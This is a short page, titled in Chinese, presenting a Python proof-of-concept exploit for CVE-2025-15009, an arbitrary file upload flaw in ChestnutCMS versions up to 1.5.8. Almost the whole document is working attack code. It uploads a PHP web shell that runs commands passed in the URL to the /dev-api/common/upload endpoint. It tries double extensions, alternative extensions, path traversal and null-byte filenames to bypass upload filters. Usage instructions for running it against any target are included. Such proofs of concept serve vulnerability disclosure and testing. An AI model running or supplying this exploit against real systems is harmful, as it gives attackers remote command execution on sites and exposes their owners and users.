CVE-2025-15009 ChestnutCMS任意文件上传漏洞

import requests import sys # CVE-2025-15009 PoC - ChestnutCMS Arbitrary File Upload # Target: ChestnutCMS <= 1.5.8 # Endpoint: /dev-api/common/upload def exploit(target_url, filename='shell.php'): """ Exploit for CVE-2025-15009 This PoC demonstrates arbitrary file upload via manipulated filename """ # Malicious PHP webshell content webshell_content = '<?php system($_GET["cmd"]); ?>' # Prepare the malicious file files = { 'file': (filename, webshell_content, 'image/jpeg') } # Alternative filename bypass techniques bypass_filenames = [ 'shell.php', # Direct PHP upload 'shell.php.jpg', # Double extension bypass 'shell.php5', # Alternative extension '../shell.php', # Path traversal attempt 'shell.php%00.jpg', # Null byte injection ] print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2025-15009...") for fname in bypass_filenames: files['file'] = (fname, webshell_content, 'image/jpeg') try: # Send the malicious upload request response = requests.post( f"{target_url}/dev-api/common/upload", files=files, timeout=10 ) # Check if upload was successful if response.status_code == 200: print(f"[+] Upload successful with filename: {fname}") print(f"[+] Response: {response.text}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") print("[-] Exploitation failed") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-15009.py <target_url>") print("Example: python cve-2025-15009.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target)